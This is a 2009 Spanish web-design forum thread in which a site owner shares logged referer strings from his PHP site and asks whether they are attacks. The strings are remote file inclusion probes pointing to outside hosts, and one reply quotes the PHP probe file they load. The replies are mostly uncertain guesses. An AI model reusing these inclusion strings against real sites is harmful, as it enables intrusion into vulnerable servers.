Foros del Web » Creando para Internet » Diseño web »

registro visitas extrañas en mi web!!!

Estas en el tema de registro visitas extrañas en mi web!!! en el foro de Diseño web en Foros del Web. Como no tengo el modo de trasladar esta pregunta a esta sección, la copio nuevamente porque al parecer es más apropiada acá, espero no equivocarme. ...
  #1 (permalink)  
Antiguo 24/11/2009, 10:01
 
Fecha de Ingreso: mayo-2008
Mensajes: 489
Antigüedad: 9 años, 6 meses
Puntos: 8
Exclamación registro visitas extrañas en mi web!!!

Como no tengo el modo de trasladar esta pregunta a esta sección, la copio nuevamente porque al parecer es más apropiada acá, espero no equivocarme. (Trasladado de Seguridad y redes)

muy buenas tardes foreros, en mi web tengo un código que me registra las url que visitan mi web junto con la ip. La url de donde llega la visita es recogida a través de $_SERVER['HTTP_REFERER'], hasta ahí todo bien.

Resulta que revisando la tabla donde se almacena esta información noto las siguientes direcciones de referencia (valor $_SERVER['HTTP_REFERER']):

www. miweb .com/mapa.php?lang=en&search=amwo/index.php?lang=&page=http://evgs-hohwald.de/pear/fx29id.txt??

www. miweb .com//index.php?lang=http://eindiaart.com//artistimage/v6-i.txt???

www. miweb .com/index.php?lang=http://www.chicagofc.co.kr/fitness/data/come/fx29id1.txt??

y el valor de $_SERVER["HTTP_USER_AGENT"] registra Mozilla/5.0

he de resaltar que ninguno de mis enlaces tiene otra url como variable

a que se debe esto? son ataques??? gracias por su tiempo y colaboración.
__________________
AppLab - Laboratorio de Ideas
  #2 (permalink)  
Antiguo 25/11/2009, 09:02
Avatar de mayid
Colaborador
 
Fecha de Ingreso: marzo-2009
Ubicación: BsAs
Mensajes: 4.014
Antigüedad: 8 años, 8 meses
Puntos: 101
Respuesta: registro visitas extrañas en mi web!!!

Ni idea. Pero por ahi en el foro de PHP te puedan orientar.
  #3 (permalink)  
Antiguo 26/11/2009, 09:20
 
Fecha de Ingreso: mayo-2008
Mensajes: 489
Antigüedad: 9 años, 6 meses
Puntos: 8
Respuesta: registro visitas extrañas en mi web!!!

Muchas Gracias mayid, puede algún moderador mover mi consulta a el foro de php para no tener que duplicarla nuevamente? Gracias.
__________________
AppLab - Laboratorio de Ideas
  #4 (permalink)  
Antiguo 26/11/2009, 12:18
 
Fecha de Ingreso: septiembre-2008
Ubicación: Lanzarote, Canarias
Mensajes: 486
Antigüedad: 9 años, 3 meses
Puntos: 40
Respuesta: registro visitas extrañas en mi web!!!

Si, son "ataques".
  #5 (permalink)  
Antiguo 26/11/2009, 13:26
 
Fecha de Ingreso: mayo-2008
Mensajes: 489
Antigüedad: 9 años, 6 meses
Puntos: 8
Respuesta: registro visitas extrañas en mi web!!!

Gracias codig0 pero de que tipo? como están intentando acceder a mi información? te agradezco si me puedes orientar un poco más sobre este tipo de taque para saber como evitarlo.
__________________
AppLab - Laboratorio de Ideas
  #6 (permalink)  
Antiguo 26/11/2009, 18:27
Avatar de 50l3r  
Fecha de Ingreso: agosto-2009
Mensajes: 421
Antigüedad: 8 años, 4 meses
Puntos: 6
Respuesta: registro visitas extrañas en mi web!!!

hay un tipo de ataques que se realizan usando bots de busqueda, la cosa es que nose como se hacen :S
  #7 (permalink)  
Antiguo 27/11/2009, 08:21
 
Fecha de Ingreso: mayo-2008
Mensajes: 489
Antigüedad: 9 años, 6 meses
Puntos: 8
Respuesta: registro visitas extrañas en mi web!!!

ok,el dato me sirve para saber por donde empezar a buscar.
__________________
AppLab - Laboratorio de Ideas
  #8 (permalink)  
Antiguo 27/11/2009, 08:55
Avatar de 50l3r  
Fecha de Ingreso: agosto-2009
Mensajes: 421
Antigüedad: 8 años, 4 meses
Puntos: 6
Respuesta: registro visitas extrañas en mi web!!!

lo malo es que ante un ataque ddos poco se puede hacer :S, pero fijo que hay formas de evitarlo con algun script

que por ejemplo un script no sirva peticiones si hay muchos users conectados, y que les ponga a esperar, nose la verdad
  #9 (permalink)  
Antiguo 27/11/2009, 11:45
Avatar de Null_  
Fecha de Ingreso: octubre-2008
Ubicación: Santiago
Mensajes: 530
Antigüedad: 9 años, 1 mes
Puntos: 30
Respuesta: registro visitas extrañas en mi web!!!

Me meti en todas las urls contenidas dentro de las tuyas y me dieron los siguientes resultados:

1. Me tira el contenido de un archivo de texto programado en PHP:
<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
2. Me mete un troyano a la PC según Nod32 y lo elimina. Pero no entiendo como puedes meter un troyano con un archivo de texto!.
3. Chrome me avisa que es un sitio de phishing.

No sé si pueda ser un ataque, pues las URLs que registras son las de donde vienen las visitas y no donde visitaron el sitio. No sé mucho de ataques, pero ahí estan mis resultados =).
__________________
Diego Escares
• Twitter: @diegoescares
• Web: diegoescares.com
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 18:53.